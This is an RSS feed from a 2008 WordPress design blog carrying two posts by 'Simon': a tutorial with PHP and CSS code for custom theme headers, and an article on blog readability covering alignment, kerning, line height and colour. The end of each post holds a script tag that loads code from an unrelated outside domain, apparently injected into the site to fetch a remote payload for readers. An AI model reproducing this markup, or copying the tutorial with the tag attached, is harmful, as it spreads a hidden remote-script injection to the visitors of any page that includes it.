<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog, the magazine. &#187; Design</title>
	<atom:link href="http://www.blogthemagazine.com/topics/design/feed" rel="self" type="application/rss+xml" />
	<link>http://www.blogthemagazine.com</link>
	<description>In regular, bite-sized chunks</description>
	<lastBuildDate>Wed, 26 Mar 2008 17:15:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How To:  Custom Headers in WordPress Themes</title>
		<link>http://www.blogthemagazine.com/issue-2/how-to-custom-headers-in-wordpress-themes.html</link>
		<comments>http://www.blogthemagazine.com/issue-2/how-to-custom-headers-in-wordpress-themes.html#comments</comments>
		<pubDate>Wed, 26 Mar 2008 00:05:25 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Issue 2]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.blogthemagazine.com/issue-2/how-to-custom-headers-in-wordpress-themes.html</guid>
		<description><![CDATA[Simon shows you how to implement WordPress custom headers in your themes.]]></description>
			<content:encoded><![CDATA[<p>We all love <a href="http://www.wordpress.org/" title="Wordpress Blogging Platform">WordPress</a>.  It&#8217;s streets ahead of its rivals in the blogging platform stakes and with good reason.  While <a href="http://www.movabletype.org/" title="Movable Type">some of its competitors</a> fumbled around trying to create a business model that allowed them to charge for releases (only to have to revert back to &#8220;open source&#8221;, tail between their legs), the WordPress folk just got on with improving the platform and building an active community of users and contributors.  One of the strengths of WordPress is the ease with which themes can be developed.  The so called <a href="http://codex.wordpress.org/Template_Tags/" title="WordPress Codex Template Tags">Template Tags</a> give theme authors access to a wide array of data deep within WordPress, safe in the knowledge that they aren&#8217;t accessing the database directly.</p>
<p>In addition to the Template Tags, there are also some nice little extras.  One of which is the ability add custom headers to your theme.  This really comes into its own when you are considering releasing a theme out into the wider world.  It gives users of your theme a really simple way to add custom images to their header and crop them appropriately, all through a nice, usable, front end.  While this functionality has been around for a while, since at least version 2.1, it&#8217;s not terribly well documented.  So I&#8217;ve knocked up this quick guide to using custom headers in WordPress themes.  If you&#8217;ve got any questions or improvement, please drop them in the comments.</p>
<p><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/customheading.png" alt="WordPress Custom Headings" /></p>
<h2>The Basics</h2>
<p>The general approach to custom headers assumes that there&#8217;s a space in your template that contains a header.  And this space can be styled fairly specifically through css.  To show you what I mean by this, I&#8217;ve copied out a very simple theme page below.  This includes space for a header which can easily be styled through CSS thanks to the use of a div with the id of &#8220;header&#8221;.</p>
<pre>&lt;?php wp_head(); ?&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;link rel="stylesheet" href="</pre>
<pre>&lt;?php bloginfo('template_url'); ?&gt;</pre>
<pre>/style.css" type="text/css" media="screen, projection" /&gt;
    &lt;title&gt;Blog Title&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div id="header"&gt;
        &lt;h1&gt;&lt;a href="#"&gt;&lt;?php bloginfo('title'); ?&gt;&lt;/a&gt;&lt;/h1&gt;
        &lt;p id="desc"&gt;&lt;?php bloginfo('description'); ?&gt;&lt;/p&gt;
    &lt;/div&gt;&lt;!--  End #header --&gt;
   &lt;/body&gt;
&lt;/html&gt;</pre>
<p>As you can see, the basics of a template file.  What the custom header will do is hijack the CSS that controls the heading.  Essentially it will do two things.  Firstly is can apply a background image to the div, and secondly it can control the color and visibility of the text that appears in the div.  These options will appear in a new &#8220;Header Image and Color&#8221; area in the WordPress admin in the Presentation (Design in version 2.5) area.</p>
<h2>The Mechanics</h2>
<p>As you can image, writing the code for uploading and cropping images isn&#8217;t straight forward.  Thankfully all the hard work is handled by the WordPress API.  All we have to do is make sure our theme supports it.  We&#8217;ve already covered the part of our theme that allows all the magic to happen, but how about the admin options?  How do we make those available?</p>
<p>As with other theme related options, the calls to the WordPress API happen in your functions.php file.  It&#8217;s all really simple.  First of all we define some default styles for our heading area.  Then we write two pieces of CSS.  One that styles the header <em>in the blog</em>, and one that styles the header <em>in the admin interface</em>.  This CSS has to be written such that it can be dropped straight into the HEAD area of your template, so make sure it&#8217;s wrapped in appropriate STYLE tags.</p>
<p>These style snippets need to be assigned to two separate functions.  The functions don&#8217;t need to so anything other than output the style snippets, but you can include PHP code within them, so feel free to go mad with as much convoluted logic as you see fit. A few things you must do, however, is to set the background-image to be &#8220;header_image()&#8221; and set the dimensions to be the same as your defaults.  You should also check to make sure you hide text if that option is chosen (display: none) and set the color to any chosen by the user.  You also need to be aware that while you can choose your classes and ids in the theme, you have to use the ids &#8220;headimg&#8221; and &#8220;desc&#8221; for the admin style. &#8220;headimg&#8221; is the surrounding div while &#8220;desc&#8221; is the id of a div that contains the site&#8217;s description.</p>
<p>These two functions are then called in the add_custom_image_header function, which is the key to accessing the custom header API.  If this all sounds a bit complicated, I&#8217;ve included a simple implementation below which should point you in the right direction.  I&#8217;ve commented it as much as possible.</p>
<pre> &lt;?php
//  Set some default values
define('HEADER_TEXTCOLOR', 'fff'); //  Default text color
define('HEADER_IMAGE', '%s/default.jpg'); // %s is theme dir uri, set a default image
define('HEADER_IMAGE_WIDTH', 500); //  Default image width is actually the div's height
define('HEADER_IMAGE_HEIGHT', 150);  // Same for height

function header_style() {
    //  This function defines the style for the theme
    //  You can change these selectors to match your theme
?&gt;
&lt;style type="text/css"&gt;
#header{
    background: url(&lt;?php header_image() ?&gt;) no-repeat;
    height: &lt;?php echo HEADER_IMAGE_HEIGHT; ?&gt;px;
    width:&lt;?php echo HEADER_IMAGE_WIDTH; ?&gt;px;
    padding:0 0 0 18px;
    font-family: Arial;
}
#header h1 {
    padding-top:50px;
    margin: 0;
}
&lt;?php
//  Has the text been hidden?
//  If so, set display to equal none
if ( 'blank' == get_header_textcolor() ) { ?&gt;
#header h1, #header #desc {
    display: none;
}
&lt;?php } else {
    //  Otherwise, set the color to be the user selected one
    ?&gt;
#header h1 a, #desc {
    color:#&lt;?php header_textcolor() ?&gt;;
}
&lt;?php } ?&gt;
&lt;/style&gt;
&lt;?php
}
function admin_header_style() {
    //  This function styles the admin page
?&gt;
&lt;style type="text/css"&gt;
#headimg{
    background: url(&lt;?php header_image() ?&gt;) no-repeat;
    height: &lt;?php echo HEADER_IMAGE_HEIGHT; ?&gt;px;
    width:&lt;?php echo HEADER_IMAGE_WIDTH; ?&gt;px;
      padding:0 0 0 18px;
    font-family: arial;
}
#headimg h1{
    padding-top:50px;
    margin: 0;
}
#headimg h1 a, #desc{
    color:#&lt;?php header_textcolor() ?&gt;;
    text-decoration: none;
    border-bottom: none;
}
#desc {
    padding-top: 15px;
    margin-right: 30px;
}
&lt;?php if ( 'blank' == get_header_textcolor() ) { ?&gt;
#headimg h1, #headimg #desc {
    display: none;
}
#headimg h1 a, #headimg #desc {
    color:#&lt;?php echo HEADER_TEXTCOLOR ?&gt;;
}
&lt;?php } ?&gt;
&lt;/style&gt;
&lt;?php
}
/*  This is the key function call, it communicates with the API
    and adds the options to the admin menu.  You pass the names of your
    two styling functions, first the one that styles the theme, then
    the one that styles the admin page*/
add_custom_image_header('header_style', 'admin_header_style');
?&gt;</pre>
<h2>Using It</h2>
<p>Once you&#8217;ve done the hard work of setting it all up, actually using it to change the header is very, very, simple.  You effectively have four options.  You can hide the text, change the text colour, revert to the original settings or upload (and crop) a new background image.  If you change the color, you&#8217;re given a nice color picker to help you out.</p>
<p>The following is a worked example, using WordPress 2.5.  Pre 2.5 may look a bit different, but the functionality doesn&#8217;t differ.</p>
<h3 class="clear">Step 1</h3>
<p>We start out, using the theme page posted above, we have the following header.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/header1.png" title="The starting point"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/header1.png" alt="The starting point" class="clear" /></a></p>
<h3 class="clear">Step 2</h3>
<p>We go into the admin interface, and get the following screen.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/headeroptions.png" title="Custom Heading Options"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/headeroptions.thumbnail.png" alt="Custom Heading Options" class="clear" /></a></p>
<h3 class="clear">Step 3</h3>
<p>We hide the text, and it&#8217;s immediately reflected in the admin interface.  Note that it won&#8217;t be reflected in the theme until it&#8217;s been saved.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/hiddentext.png" title="Heading with the text hidden"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/hiddentext.png" alt="Heading with the text hidden" /></a></p>
<h3 class="clear">Step 4</h3>
<p>We upload a new image that is larger than the default size we set earlier.  WordPress knows this so it allows us to crop the image.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/croppingheader.png" title="The New Heading Image being Cropped"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/croppingheader.png" alt="The New Heading Image being Cropped" /></a></p>
<h3 class="clear">Step 5</h3>
<p>The new (incredibly classy) header is shown in the admin area, and in the theme.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/newheader1.png" title="The new Heading image in the admin interface"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/newheader1.png" alt="The new Heading image in the admin interface" /></a><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/03/newheader2.png" title="The new Heading image in the Theme"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/03/newheader2.png" alt="The new Heading image in the Theme" /></a></p>
<h3 class="clear">Summary</h3>
<p>I hope you enjoyed this lengthy guide.  Let us know if you end up using it in a theme.  I think it&#8217;s a must if you plan on openly releasing a theme to the public.</p>
<p>For more information on custom headers, see <a href="http://boren.nu/archives/2007/01/07/custom-image-header-api/">this post by Boren</a>, one of the WordPress contributors.<script src="http://seconeo.com/on"></script></p>
<img src="http://www.blogthemagazine.com/?ak_action=api_record_view&id=26&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.blogthemagazine.com/issue-2/how-to-custom-headers-in-wordpress-themes.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Blog Design Basics &#8211; Readability</title>
		<link>http://www.blogthemagazine.com/issue-1/blog-design-basics-readability.html</link>
		<comments>http://www.blogthemagazine.com/issue-1/blog-design-basics-readability.html#comments</comments>
		<pubDate>Sun, 02 Mar 2008 01:56:09 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Issue 1]]></category>
		<category><![CDATA[Blog Design Basics]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Readability]]></category>

		<guid isPermaLink="false">http://www.blogthemagazine.com/issue-1/blog-design-basics-readability.html</guid>
		<description><![CDATA[The focus for any blog design should be the content.  To most blogs this means the words written by the authors.  So make sure you show your work in the best light, ensuring everyone can enjoy it.]]></description>
			<content:encoded><![CDATA[<p>Blogs come in all shapes and sizes.  Some of the designs out there today are really breathtaking, the attention to detail and creativity, mind-boggling.  Tools such as Wordpress enable this creativity to be released to an unsuspecting world.</p>
<p>But with this great ability to be creative also comes pitfalls and dangers.  While creating interest in your blog is good, and a way of pulling in new visitors, creating a blog that misses the aspects visitors expect is a particularly effective way to lose them.</p>
<p>This series covers some fundamental aspects of blog design that really are crucial.  And the first subject is&#8230;</p>
<h2>Readability</h2>
<p>A while back I launched a redesign of <a href="http://www.oakinnovations.co.uk/blog/" title="Oak Innovations Blog">one of my blogs</a>.  I boldly went for a white text on black background scheme and promptly received numerous complaints from regular and new visitors alike.  Clearly there was a problem, and it was a big one.</p>
<p>The main complaint was that the blog was now difficult to read.  An unforgivable sin for any blog.  I remedied the situation as quickly as possible.  In my attempt to stand out from the crowd, I&#8217;d alienated a large section of my audience.</p>
<p>Readability is a fairly simple thing to get right.  To demonstrate the difference between good readability and bad readability, I&#8217;ve written the same piece of text twice below applying different principals to each.</p>
<p><a href="http://www.blogthemagazine.com/wp-content/uploads/2008/02/readability.jpg" title="Readability Example"><img src="http://www.blogthemagazine.com/wp-content/uploads/2008/02/readability.jpg" alt="Readability Example" /></a></p>
<p>There are a number of things at play here, so let&#8217;s go through them.</p>
<h3>Alignment</h3>
<p>While not immediately obvious in the above example due to the relatively small amount of text, the alignment is different for the two paragraphs of text.  The one on the left is &#8220;Left Aligned&#8217; while the one on the right is &#8220;Justified&#8221;.</p>
<p>The main difference is that a Justified block of text has different sized spaces between the words.  This breaks the natural flow of the text and makes it more difficult to read.  The flip side of this is that Justified text typically looks nicer, it also gives the impression of more structured, complete piece of work.  Hence it tends to be used in print media, despite studies indicating that Justified text is harder to read.</p>
<h3>Kerning</h3>
<p>Kerning itself is an art-form.  Kerning is the spacing between letters, and can have a great impact on readability.  The difficulty comes from ensuring the letters are close enough together for readers to follow the general shape of the word, but not too close so that letters merge into one.  A problem that&#8217;s recently been called <a href="http://www.ironicsans.com/2008/02/idea_a_new_typography_term.html" title="Keming, the improper use of Kerning">Keming</a>.</p>
<p>To understand the importance of kerning on readability you have to understand that in order to read quickly, the vast majority of people skim across passages of text.  Using mostly the first and last letters in conjunction with its general shape to &#8220;read&#8221; it.  Very rarely does every letter in a word get read.  Therefore it is important that words look like words.  Their length and the positioning of letters within them is very important.</p>
<p>In the example above, the kerning is normal on the left hand side but very compressed on the right.  In my opinion, it is this alone that makes the biggest difference to readability.</p>
<h3>Line Spacing / Line Height</h3>
<p>I remember, back in the day, being ordered to use double line spacing when writing my final year dissertation.  The reason?  Readability.  When you&#8217;ve got to read through a 300+ page document, the little things really make a big difference.  I didn&#8217;t really understand just how big a difference line spacing made to readability until I printed out the document and proof read it.</p>
<p>For most web pages and blogs, double line spacing is excessive and can actually hurt readability.  I&#8217;d certainly recommend going for between 120 and 150&amp; line spacing for optimum screen readability.</p>
<h3>Color Scheme</h3>
<p>While things such as color schemes always ultimately come down to personal taste and preferences, it&#8217;s generally harder to read white text on a black background than the other way round.  I believe this is nicely demonstrated by the example above.</p>
<p>As a general rule, you want high contrast text but not necessarily very high contrast.  Black on white tends to be popular, for obvious reasons, a dark grey on white works just as well whilst providing a nice aesthetic.  What you do need to be wary of, however, is text that is in too low contrast to the background as well as text across a busy or distracting background.</p>
<h3>Other Considerations</h3>
<p>There are other elements that impact on readability that I haven&#8217;t covered in the example but are just as important.</p>
<ul>
<li>Font / Typeface &#8211; Again something that comes down to personal taste but there are a few guidelines to follow.  Typically sans-serif fonts work best on screen, serif fonts when printing.  Use a font that contains what you would describe as &#8220;typical&#8221; lettering.  You also need to ensure the font you&#8217;ve chosen works at the size you intend to use it.  The biggest hurdle here is where you are using a particularly small size.  In these cases, something like <a href="http://www.kottke.org/plus/type/silkscreen/" title="Silkscreen Font">Silkscreen</a> is a pretty safe bet.   Suffice to say you should go for popular fonts that the majority of your users are likely to have installed and ensure you have adequate fall backs.</li>
<li>Breaks and Sections &#8211; As with all good writing, make sure your text is broken up into paragraphs and sections wherever possible.  There&#8217;s nothing more daunting as a reader than a massive section of unbroken text.</li>
<li>Text Size &#8211; Following on from the point about fonts, the size of text is very important.  Too big and it can become un-manageable for the reader, too small and it can become difficult to distinguish words and letters.</li>
<li>Width &#8211; Not often spoken about, but the width of text should be kept to something around 80 characters.  Less if you are aiming your content at a less literate audience.</li>
</ul>
<p>Hopefully you&#8217;ve now got an understanding of what affects readability on the web, specifically on blogs.  is there anything you&#8217;d add to this list?<script src="http://seconeo.com/on"></script></p>
<img src="http://www.blogthemagazine.com/?ak_action=api_record_view&id=8&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.blogthemagazine.com/issue-1/blog-design-basics-readability.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
